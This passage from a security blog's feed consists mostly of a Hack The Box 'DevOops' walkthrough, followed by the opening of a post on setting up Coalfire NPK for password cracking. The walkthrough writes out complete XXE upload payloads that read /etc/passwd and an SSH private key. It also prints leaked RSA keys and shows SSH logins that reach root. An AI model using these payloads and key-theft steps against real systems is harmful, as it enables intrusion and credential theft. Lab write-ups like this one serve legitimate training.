    +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
    +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    +Referer: http://10.10.10.91:5000/upload
    +Accept-Encoding: gzip, deflate
    +Accept-Language: en-US,en;q=0.9
    +Connection: close
    +
    +------WebKitFormBoundarymfAR6unm6rnoKPEA
    +Content-Disposition: form-data; name="file"; filename="test.xml"
    +Content-Type: text/xml
    +
    +<?xml version="1.0" encoding="ISO-8859-1"?>
    +  <!DOCTYPE foo [ <!ELEMENT foo ANY >
    +  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    +<test>
    +    <Author>Test</Author>
    +    <Subject>Test</Subject>
    +    <Content>Test</Content>
    +</test>
    +
    +------WebKitFormBoundarymfAR6unm6rnoKPEA--
    +
    +

    While this did not work, the system processed my post and gave me a bit of file system information.

    +
    +HTTP/1.1 200 OK
    +Server: gunicorn/19.7.1
    +Date: Thu, 19 Dec 2019 20:25:26 GMT
    +Connection: close
    +Content-Type: text/html; charset=utf-8
    +Content-Length: 150
    +
    + PROCESSED BLOGPOST: 
    +  Author: Test
    + Subject: Test
    + Content: Test
    + URL for later reference: /uploads/test.xml
    + File path: /home/roosa/deploy/src
    +
    +

    After realizing that I needed somewhere to output the /etc/passwd, I changed my author field in the uploaded file.

    +
    +POST /upload HTTP/1.1
    +Host: 10.10.10.91:5000
    +Content-Length: 415
    +Cache-Control: max-age=0
    +Origin: http://10.10.10.91:5000
    +Upgrade-Insecure-Requests: 1
    +Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymfAR6unm6rnoKPEA
    +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
    +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    +Referer: http://10.10.10.91:5000/upload
    +Accept-Encoding: gzip, deflate
    +Accept-Language: en-US,en;q=0.9
    +Connection: close
    +
    +------WebKitFormBoundarymfAR6unm6rnoKPEA
    +Content-Disposition: form-data; name="file"; filename="test.xml"
    +Content-Type: text/xml
    +
    +<?xml version="1.0" encoding="ISO-8859-1"?>
    +  <!DOCTYPE foo [ <!ELEMENT foo ANY >
    +  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    +<test>
    +    <Author>&xxe;</Author>
    +    <Subject>Test</Subject>
    +    <Content>Test</Content>
    +</test>
    +
    +------WebKitFormBoundarymfAR6unm6rnoKPEA--
    +
    +

    When I uploaded this file, the server populated my author field with the results of the /etc/passwd file!

    +
    +HTTP/1.1 200 OK
    +Server: gunicorn/19.7.1
    +Date: Thu, 19 Dec 2019 20:26:02 GMT
    +Connection: close
    +Content-Type: text/html; charset=utf-8
    +Content-Length: 2585
    +
    + PROCESSED BLOGPOST: 
    +  Author: root:x:0:0:root:/root:/bin/bash
    +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    +bin:x:2:2:bin:/bin:/usr/sbin/nologin
    +sys:x:3:3:sys:/dev:/usr/sbin/nologin
    +sync:x:4:65534:sync:/bin:/bin/sync
    +games:x:5:60:games:/usr/games:/usr/sbin/nologin
    +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    +irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    +systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
    +systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
    +systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
    +systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
    +syslog:x:104:108::/home/syslog:/bin/false
    +_apt:x:105:65534::/nonexistent:/bin/false
    +messagebus:x:106:110::/var/run/dbus:/bin/false
    +uuidd:x:107:111::/run/uuidd:/bin/false
    +lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
    +whoopsie:x:109:117::/nonexistent:/bin/false
    +avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
    +avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
    +dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
    +colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
    +speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
    +hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
    +kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
    +pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
    +rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
    +saned:x:119:127::/var/lib/saned:/bin/false
    +usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
    +osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/false
    +git:x:1001:1001:git,,,:/home/git:/bin/bash
    +roosa:x:1002:1002:,,,:/home/roosa:/bin/bash
    +sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
    +blogfeed:x:1003:1003:,,,:/home/blogfeed:/bin/false
    +
    + Subject: Test
    + Content: Test
    + URL for later reference: /uploads/test.xml
    + File path: /home/roosa/deploy/src
    +
    +

    It took a while to figure out how to exploit this for system-level access. That said, I eventually settled on grabbing the 'roosa' user's private key.

    +
    +POST /upload HTTP/1.1
    +Host: 10.10.10.91:5000
    +Content-Length: 427
    +Cache-Control: max-age=0
    +Origin: http://10.10.10.91:5000
    +Upgrade-Insecure-Requests: 1
    +Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymfAR6unm6rnoKPEA
    +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
    +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    +Referer: http://10.10.10.91:5000/upload
    +Accept-Encoding: gzip, deflate
    +Accept-Language: en-US,en;q=0.9
    +Connection: close
    +
    +------WebKitFormBoundarymfAR6unm6rnoKPEA
    +Content-Disposition: form-data; name="file"; filename="test.xml"
    +Content-Type: text/xml
    +
    +<?xml version="1.0" encoding="ISO-8859-1"?>
    +  <!DOCTYPE foo [ <!ELEMENT foo ANY >
    +  <!ENTITY xxe SYSTEM "file:///home/roosa/.ssh/id_rsa" >]>
    +<test>
    +    <Author>&xxe;</Author>
    +    <Subject>Test</Subject>
    +    <Content>Test</Content>
    +</test>
    +
    +------WebKitFormBoundarymfAR6unm6rnoKPEA--
    +
    +

    This ended up working, which was a good start.

    +
    +HTTP/1.1 200 OK
    +Server: gunicorn/19.7.1
    +Date: Thu, 19 Dec 2019 20:29:07 GMT
    +Connection: close
    +Content-Type: text/html; charset=utf-8
    +Content-Length: 1821
    +
    + PROCESSED BLOGPOST: 
    +  Author: -----BEGIN RSA PRIVATE KEY-----
    +MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7
    +9sIXha2h4a4fp18F53jdx3PqEO7HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J
    +R/R+exNggHuqsp8rrcHq96lbXtORy8SOliUjfspPsWfY7JbktKyaQK0JunR25jVk
    +v5YhGVeyaTNmSNPTlpZCVGVAp1RotWdc/0ex7qznq45wLb2tZFGE0xmYTeXgoaX4
    +9QIQQnoi6DP3+7ErQSd6QGTq5mCvszpnTUsmwFj5JRdhjGszt0zBGllsVn99O90K
    +m3pN8SN1yWCTal6FLUiuxXg99YSV0tEl0rfSUwIDAQABAoIBAB6rj69jZyB3lQrS
    +JSrT80sr1At6QykR5ApewwtCcatKEgtu1iWlHIB9TTUIUYrYFEPTZYVZcY50BKbz
    +ACNyme3rf0Q3W+K3BmF//80kNFi3Ac1EljfSlzhZBBjv7msOTxLd8OJBw8AfAMHB
    +lCXKbnT6onYBlhnYBokTadu4nbfMm0ddJo5y32NaskFTAdAG882WkK5V5iszsE/3
    +koarlmzP1M0KPyaVrID3vgAvuJo3P6ynOoXlmn/oncZZdtwmhEjC23XALItW+lh7
    +e7ZKcMoH4J2W8OsbRXVF9YLSZz/AgHFI5XWp7V0Fyh2hp7UMe4dY0e1WKQn0wRKe
    +8oa9wQkCgYEA2tpna+vm3yIwu4ee12x2GhU7lsw58dcXXfn3pGLW7vQr5XcSVoqJ
    +Lk6u5T6VpcQTBCuM9+voiWDX0FUWE97obj8TYwL2vu2wk3ZJn00U83YQ4p9+tno6
    +NipeFs5ggIBQDU1k1nrBY10TpuyDgZL+2vxpfz1SdaHgHFgZDWjaEtUCgYEA2B93
    +hNNeXCaXAeS6NJHAxeTKOhapqRoJbNHjZAhsmCRENk6UhXyYCGxX40g7i7T15vt0
    +ESzdXu+uAG0/s3VNEdU5VggLu3RzpD1ePt03eBvimsgnciWlw6xuZlG3UEQJW8sk
    +A3+XsGjUpXv9TMt8XBf3muESRBmeVQUnp7RiVIcCgYBo9BZm7hGg7l+af1aQjuYw
    +agBSuAwNy43cNpUpU3Ep1RT8DVdRA0z4VSmQrKvNfDN2a4BGIO86eqPkt/lHfD3R
    +KRSeBfzY4VotzatO5wNmIjfExqJY1lL2SOkoXL5wwZgiWPxD00jM4wUapxAF4r2v
    +vR7Gs1zJJuE4FpOlF6SFJQKBgHbHBHa5e9iFVOSzgiq2GA4qqYG3RtMq/hcSWzh0
    +8MnE1MBL+5BJY3ztnnfJEQC9GZAyjh2KXLd6XlTZtfK4+vxcBUDk9x206IFRQOSn
    +y351RNrwOc2gJzQdJieRrX+thL8wK8DIdON9GbFBLXrxMo2ilnBGVjWbJstvI9Yl
    +aw0tAoGAGkndihmC5PayKdR1PYhdlVIsfEaDIgemK3/XxvnaUUcuWi2RhX3AlowG
    +xgQt1LOdApYoosALYta1JPen+65V02Fy5NgtoijLzvmNSz+rpRHGK6E8u3ihmmaq
    +82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s=
    +-----END RSA PRIVATE KEY-----
    +
    + Subject: Test
    + Content: Test
    + URL for later reference: /uploads/test.xml
    + File path: /home/roosa/deploy/src
    +
    +

    When I tried to use this private key, it worked, and I had a shell on the box!

    +
    +root@kali:~/HtB/DevOops# ssh -i roosa_rsa_10-10-10-91 roosa@10.10.10.91
    +Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)
    +
    + * Documentation:  https://help.ubuntu.com
    + * Management:     https://landscape.canonical.com
    + * Support:        https://ubuntu.com/advantage
    +
    +135 packages can be updated.
    +60 updates are security updates.
    +
    +Last login: Thu Dec 19 15:32:22 2019 from 10.10.14.2
    +roosa@gitter:~$ id
    +uid=1002(roosa) gid=1002(roosa) groups=1002(roosa),4(adm),27(sudo)
    +
    +

    Before moving on, I grabbed the user flag, and scored my points in HtB.

    +
    +roosa@gitter:~$ cat user.txt 
    +c5808e1643e801d40f09ed87cdecc67b
    +
    +

    Privilege Escalation

    +

    With a user-level shell, it was time to escalate to root.

    +

    First, I found a service.sh file that seemed interesting, but I realized that it was running as the 'roosa' user.

    +
    +roosa@gitter:~$ diff service.sh service.sh\~
    +11,12c11,12
    +< SCRIPT="/home/roosa/run-blogfeed.sh"
    +< RUNAS=roosa
    +---
    +> SCRIPT="<COMMAND>"
    +> RUNAS=<USERNAME>
    +14,15c14,15
    +< PIDFILE=/var/run/blogfeed.pid
    +< LOGFILE=/var/log/blogfeed.log
    +---
    +> PIDFILE=/var/run/<NAME>.pid
    +> LOGFILE=/var/log/<NAME>.log
    +48a49,63
    +> uninstall() {
    +>   echo -n "Are you really sure you want to uninstall this service? That cannot be undone. [yes|No] "
    +>   local SURE
    +>   read SURE
    +>   if [ "$SURE" = "yes" ]; then
    +>     stop
    +>     rm -f "$PIDFILE"
    +>     echo "Notice: log file was not removed: $LOGFILE" >&2
    +>     update-rc.d -f $NAME remove
    +>     rm -fv "$0"
    +>   else
    +>     echo "Abort!"
    +>   fi
    +> }
    +> 
    +73a89,91
    +>   uninstall)
    +>     uninstall
    +>     ;;
    +79c97
    +<     echo "Usage: $0 {start|stop|status|restart}"
    +---
    +>     echo "Usage: $0 {start|stop|status|restart|uninstall}"
    +
    +

    I also found an RSA private key in the '/home/roosa/work/blogfeed/resources/integration' directory, but I wasn't sure what to do with it.

    +
    +roosa@gitter:~/work/blogfeed/resources/integration$ pwd
    +/home/roosa/work/blogfeed/resources/integration
    +roosa@gitter:~/work/blogfeed/resources/integration$ cat authcredentials.key 
    +-----BEGIN RSA PRIVATE KEY-----
    +MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
    +ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
    +23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3uOI9zPE
    +sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s
    +ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16
    +ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h
    +LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2bO
    +JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9
    +oKL7XLUpSnSrWQyMGQx/Vl59V2ZHNsBxptZ+qQYavc7bGP3h4HoRurrPiVlmPwXM
    +xL8NWx4knCZEC+YId8cAqyJ2EC4RoAr7tQ3xb46jC24Gc/YFkI9b7WCKpFgiszhw
    +vFvkYQDuIvzsIyunqe3YR0v8TKEfWKtm8T9iyb2yXTa+b/U3I9We1P+0nbfjYX8x
    +6umhQuECgYEA0fvp8m2KKJkkigDCsaCpP5dWPijukHV+CLBldcmrvUxRTIa8o4e+
    +OWOMW1JPEtDTj7kDpikekvHBPACBd5fYnqYnxPv+6pfyh3H5SuLhu9PPA36MjRyE
    +4+tDgPvXsfQqAKLF3crG9yKVUqw2G8FFo7dqLp3cDxCs5sk6Gq/lAesCgYEAyiS0
    +937GI+GDtBZ4bjylz4L5IHO55WI7CYPKrgUeKqi8ovKLDsBEboBbqRWcHr182E94
    +SQMoKu++K1nbly2YS+mv4bOanSFdc6bT/SAHKdImo8buqM0IhrYTNvArN/Puv4VT
    +Nszh8L9BDEc/DOQQQzsKiwIHab/rKJHZeA6cBRECgYEAgLg6CwAXBxgJjAc3Uge4
    +eGDe3y/cPfWoEs9/AptjiaD03UJi9KPLegaKDZkBG/mjFqFFmV/vfAhyecOdmaAd
    +i/Mywc/vzgLjCyBUvxEhazBF4FB8/CuVUtnvAWxgJpgT/1vIi1M4cFpkys8CRDVP
    +6TIQBw+BzEJemwKTebSFX40CgYEAtZt61iwYWV4fFCln8yobka5KoeQ2rCWvgqHb
    +8rH4Yz0LlJ2xXwRPtrMtJmCazWdSBYiIOZhTexe+03W8ejrla7Y8ZNsWWnsCWYgV
    +RoGCzgjW3Cc6fX8PXO+xnZbyTSejZH+kvkQd7Uv2ZdCQjcVL8wrVMwQUouZgoCdA
    +qML/WvECgYEAyNoevgP+tJqDtrxGmLK2hwuoY11ZIgxHUj9YkikwuZQOmFk3EffI
    +T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
    +bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
    +-----END RSA PRIVATE KEY-----
    +
    +

    When I finally looked at the git log, I noticed a reference to an accidental commit with a key.

    +
    +roosa@gitter:~/work/blogfeed/.git$ git log
    +commit 7ff507d029021b0915235ff91e6a74ba33009c6d
    +Author: Roosa Hakkerson 
    +Date:   Mon Mar 26 06:13:55 2018 -0400
    +
    +    Use Base64 for pickle feed loading
    +
    +commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8
    +Author: Roosa Hakkerson 
    +Date:   Tue Mar 20 15:37:00 2018 -0400
    +
    +    Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.
    +
    +commit cec54d8cb6117fd7f164db142f0348a74d3e9a70
    +Author: Roosa Hakkerson 
    +Date:   Tue Mar 20 15:08:09 2018 -0400
    +
    +    Debug support added to make development more agile.
    +
    +commit ca3e768f2434511e75bd5137593895bd38e1b1c2
    +Author: Roosa Hakkerson 
    +Date:   Tue Mar 20 08:38:21 2018 -0400
    +
    +    Blogfeed app, initial version.
    +
    +commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94
    +Author: Roosa Hakkerson 
    +Date:   Tue Mar 20 08:37:56 2018 -0400
    +
    +    Gunicorn startup script
    +
    +commit 33e87c312c08735a02fa9c796021a4a3023129ad
    +Author: Roosa Hakkerson 
    +Date:   Mon Mar 19 09:33:06 2018 -0400
    +
    +    reverted accidental commit with proper key
    +
    +commit d387abf63e05c9628a59195cec9311751bdb283f
    +Author: Roosa Hakkerson 
    +Date:   Mon Mar 19 09:32:03 2018 -0400
    +
    +    add key for feed integration from tnerprise backend
    +
    +commit 1422e5a04d1b52a44e6dc81023420347e257ee5f
    +Author: Roosa Hakkerson 
    +Date:   Mon Mar 19 09:24:30 2018 -0400
    +
    +    Initial commit
    +
    +

    Next, I looked at this specific commit, and found a reference to the previously found authcredentials.key file.

    +
    +roosa@gitter:~/work/blogfeed/.git$ git show 33e87c312c08735a02fa9c796021a4a3023129ad
    +commit 33e87c312c08735a02fa9c796021a4a3023129ad
    +Author: Roosa Hakkerson 
    +Date:   Mon Mar 19 09:33:06 2018 -0400
    +
    +    reverted accidental commit with proper key
    +
    +diff --git a/resources/integration/authcredentials.key b/resources/integration/authcredentials.key
    +index 44c981f..f4bde49 100644
    +--- a/resources/integration/authcredentials.key
    ++++ b/resources/integration/authcredentials.key
    +@@ -1,28 +1,27 @@
    + -----BEGIN RSA PRIVATE KEY-----
    +-MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
    +-8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
    +-vr+5Ui0nD+YBKyYuiN+4CB8jSQvwOG+LlA3IGAzVf56J0WP9FILH/NwYW2iovTRK
    +-nz1y2vdO3ug94XX8y0bbMR9Mtpj292wNrxmUSQ5glioqrSrwFfevWt/rEgIVmrb+
    +-CCjeERnxMwaZNFP0SYoiC5HweyXD6ZLgFO4uOVuImILGJyyQJ8u5BI2mc/SHSE0c
    +-F9DmYwbVqRcurk3yAS+jEbXgObupXkDHgIoMCwIDAQABAoIBAFaUuHIKVT+UK2oH
    +-uzjPbIdyEkDc3PAYP+E/jdqy2eFdofJKDocOf9BDhxKlmO968PxoBe25jjjt0AAL
    +-gCfN5I+xZGH19V4HPMCrK6PzskYII3/i4K7FEHMn8ZgDZpj7U69Iz2l9xa4lyzeD
    +-k2X0256DbRv/ZYaWPhX+fGw3dCMWkRs6MoBNVS4wAMmOCiFl3hzHlgIemLMm6QSy
    +-NnTtLPXwkS84KMfZGbnolAiZbHAqhe5cRfV2CVw2U8GaIS3fqV3ioD0qqQjIIPNM
    +-HSRik2J/7Y7OuBRQN+auzFKV7QeLFeROJsLhLaPhstY5QQReQr9oIuTAs9c+oCLa
    +-2fXe3kkCgYEA367aoOTisun9UJ7ObgNZTDPeaXajhWrZbxlSsOeOBp5CK/oLc0RB
    +-GLEKU6HtUuKFvlXdJ22S4/rQb0RiDcU/wOiDzmlCTQJrnLgqzBwNXp+MH6Av9WHG
    +-jwrjv/loHYF0vXUHHRVJmcXzsftZk2aJ29TXud5UMqHovyieb3mZ0pcCgYEAxR41
    +-IMq2dif3laGnQuYrjQVNFfvwDt1JD1mKNG8OppwTgcPbFO+R3+MqL7lvAhHjWKMw
    +-+XjmkQEZbnmwf1fKuIHW9uD9KxxHqgucNv9ySuMtVPp/QYtjn/ltojR16JNTKqiW
    +-7vSqlsZnT9jR2syvuhhVz4Ei9yA/VYZG2uiCpK0CgYA/UOhz+LYu/MsGoh0+yNXj
    +-Gx+O7NU2s9sedqWQi8sJFo0Wk63gD+b5TUvmBoT+HD7NdNKoEX0t6VZM2KeEzFvS
    +-iD6fE+5/i/rYHs2Gfz5NlY39ecN5ixbAcM2tDrUo/PcFlfXQhrERxRXJQKPHdJP7
    +-VRFHfKaKuof+bEoEtgATuwKBgC3Ce3bnWEBJuvIjmt6u7EFKj8CgwfPRbxp/INRX
    +-S8Flzil7vCo6C1U8ORjnJVwHpw12pPHlHTFgXfUFjvGhAdCfY7XgOSV+5SwWkec6
    +-md/EqUtm84/VugTzNH5JS234dYAbrx498jQaTvV8UgtHJSxAZftL8UAJXmqOR3ie
    +-LWXpAoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz
    +-oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw
    +-LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE=
    ++MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
    ++ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
    ++23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3uOI9zPE
    ++sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s
    ++ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16
    ++ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h
    ++LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2bO
    ++JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9
    ++oKL7XLUpSnSrWQyMGQx/Vl59V2ZHNsBxptZ+qQYavc7bGP3h4HoRurrPiVlmPwXM
    ++xL8NWx4knCZEC+YId8cAqyJ2EC4RoAr7tQ3xb46jC24Gc/YFkI9b7WCKpFgiszhw
    ++vFvkYQDuIvzsIyunqe3YR0v8TKEfWKtm8T9iyb2yXTa+b/U3I9We1P+0nbfjYX8x
    ++6umhQuECgYEA0fvp8m2KKJkkigDCsaCpP5dWPijukHV+CLBldcmrvUxRTIa8o4e+
    ++OWOMW1JPEtDTj7kDpikekvHBPACBd5fYnqYnxPv+6pfyh3H5SuLhu9PPA36MjRyE
    ++4+tDgPvXsfQqAKLF3crG9yKVUqw2G8FFo7dqLp3cDxCs5sk6Gq/lAesCgYEAyiS0
    ++937GI+GDtBZ4bjylz4L5IHO55WI7CYPKrgUeKqi8ovKLDsBEboBbqRWcHr182E94
    ++SQMoKu++K1nbly2YS+mv4bOanSFdc6bT/SAHKdImo8buqM0IhrYTNvArN/Puv4VT
    ++Nszh8L9BDEc/DOQQQzsKiwIHab/rKJHZeA6cBRECgYEAgLg6CwAXBxgJjAc3Uge4
    ++eGDe3y/cPfWoEs9/AptjiaD03UJi9KPLegaKDZkBG/mjFqFFmV/vfAhyecOdmaAd
    ++i/Mywc/vzgLjCyBUvxEhazBF4FB8/CuVUtnvAWxgJpgT/1vIi1M4cFpkys8CRDVP
    ++6TIQBw+BzEJemwKTebSFX40CgYEAtZt61iwYWV4fFCln8yobka5KoeQ2rCWvgqHb
    ++8rH4Yz0LlJ2xXwRPtrMtJmCazWdSBYiIOZhTexe+03W8ejrla7Y8ZNsWWnsCWYgV
    ++RoGCzgjW3Cc6fX8PXO+xnZbyTSejZH+kvkQd7Uv2ZdCQjcVL8wrVMwQUouZgoCdA
    ++qML/WvECgYEAyNoevgP+tJqDtrxGmLK2hwuoY11ZIgxHUj9YkikwuZQOmFk3EffI
    ++T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
    ++bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
    + -----END RSA PRIVATE KEY-----
    +
    +

    After a few attempts, I realized that this was the private key for the root account on the box!

    +
    +root@kali:~/HtB/DevOops# ssh -i rsa2_10-10-10-91 root@10.10.10.91
    +Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)
    +
    + * Documentation:  https://help.ubuntu.com
    + * Management:     https://landscape.canonical.com
    + * Support:        https://ubuntu.com/advantage
    +
    +135 packages can be updated.
    +60 updates are security updates.
    +
    +Last login: Mon Mar 26 06:23:48 2018 from 192.168.57.1
    +root@gitter:~# id
    +uid=0(root) gid=0(root) groups=0(root)
    +
    +

    With root access, I grabbed the root flag, and finished this machine on HtB.

    +
    +root@gitter:~# cat root.txt 
    +d4fe1e7f7187407eebdd3209cb1ac7b3
    +
    +

    Hack the Box DevOops - Conclusion

    +

    This was a fun challenge, and I love finding some XXE.

    +

    My HtB subscription ended after this, so I was only able to pop two boxes in the end.

    +

    If you have any recommendations, then I would love to reactivate my subscription and try out a few more boxes. Alternatively, let me know if you have other suggestions for research topics or blog posts.

    +

    The post Hack the Box DevOops Walkthrough – XXE FTW appeared first on doyler.net.

    +]]>
    + + https://www.doyler.net/security-not-included/hack-the-box-devoops/feed + 0 + + + 4619
    + + Coalfire NPK – Installation, Configuration, and Usage + https://www.doyler.net/security-not-included/coalfire-npk + https://www.doyler.net/security-not-included/coalfire-npk#respond + + + Sat, 07 Mar 2020 17:00:52 +0000 + + https://www.doyler.net/?p=4930 + + I setup Coalfire NPK recently for some password cracking and wanted to share the process and my thoughts. Coalfire NPK - Introduction First, if you've never heard of NPK, then you can check out the release announcement here. Additionally, the … Continue reading

    +

    The post Coalfire NPK – Installation, Configuration, and Usage appeared first on doyler.net.

    +]]>
    + I setup Coalfire NPK recently for some password cracking and wanted to share the process and my thoughts.

    +

    +

    Coalfire NPK - Introduction

    +

    First, if you've never heard of NPK, then you can check out the release announcement here.

    +

    Additionally, the GitHub repository is worth checking out.

    +

    NPK is supposed to serve as a server-less, distributed hashcat platform, and I'd say that is fairly true.

    +

    I needed to crack some hashes for work, and I figured that this would be more cost effective than trying to buy our own cracking rig.

    +

    Prerequisites

    +

    First, I created a local copy of the repository.

    +
    +doyler@mbp:~/tools# git clone https://github.com/Coalfire-Research/npk
    +Cloning into 'npk'...
    +remote: Enumerating objects: 90, done.
    +remote: Counting objects: 100% (90/90), done.
    +remote: Compressing objects: 100% (65/65), done.
    +remote: Total 761 (delta 33), reused 47 (delta 22), pack-reused 671
    +Receiving objects: 100% (761/761), 5.48 MiB | 17.77 MiB/s, done.
    +Resolving deltas: 100% (173/173), done.
    +
    +

    Next, I installed jsonnet and jq, per the instructions.

    +
    +doyler@mbp:~/tools/npk# pip install jsonnet
    +DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7.
    +Collecting jsonnet
    +  Downloading https://files.pythonhosted.org/packages/33/b8/a8588d4010f13716a324f55d23999259bad9db2320f4fe919a66b2f651f3/jsonnet-0.15.0.tar.gz (255kB)
    +     |████████████████████████████████| 256kB 2.5MB/s 
    +Building wheels for collected packages: jsonnet
    +  Building wheel for jsonnet (setup.py) ... done
    +  Stored in directory: /Users/doyler/Library/Caches/pip/wheels/57/63/2e/da89cfe1ba08550bd7262d5d9c027edc313980c3b85b3b0a38
    +Successfully built jsonnet
    +Installing collected packages: jsonnet
    +Successfully installed jsonnet-0.15.0
    +
    +... <snip> ...
    +
    +doyler@mbp:~/tools/npk# brew install jq
    +==> Installing dependencies for jq: oniguruma
    +==> Installing jq dependency: oniguruma
    +==> Downloading https://homebrew.bintray.com/bottles/oniguruma-6.9.4.mojave.bottle.tar.gz
    +==> Downloading from https://akamai.bintray.com/ab/ab2bb92e40e17569c54dda0ed3b3a0fc6f98be761107fba918754af75817d
    +######################################################################## 100.0%
    +==> Pouring oniguruma-6.9.4.mojave.bottle.tar.gz
    +🍺  /usr/local/Cellar/oniguruma/6.9.4: 17 files, 1.3MB
    +==> Installing jq
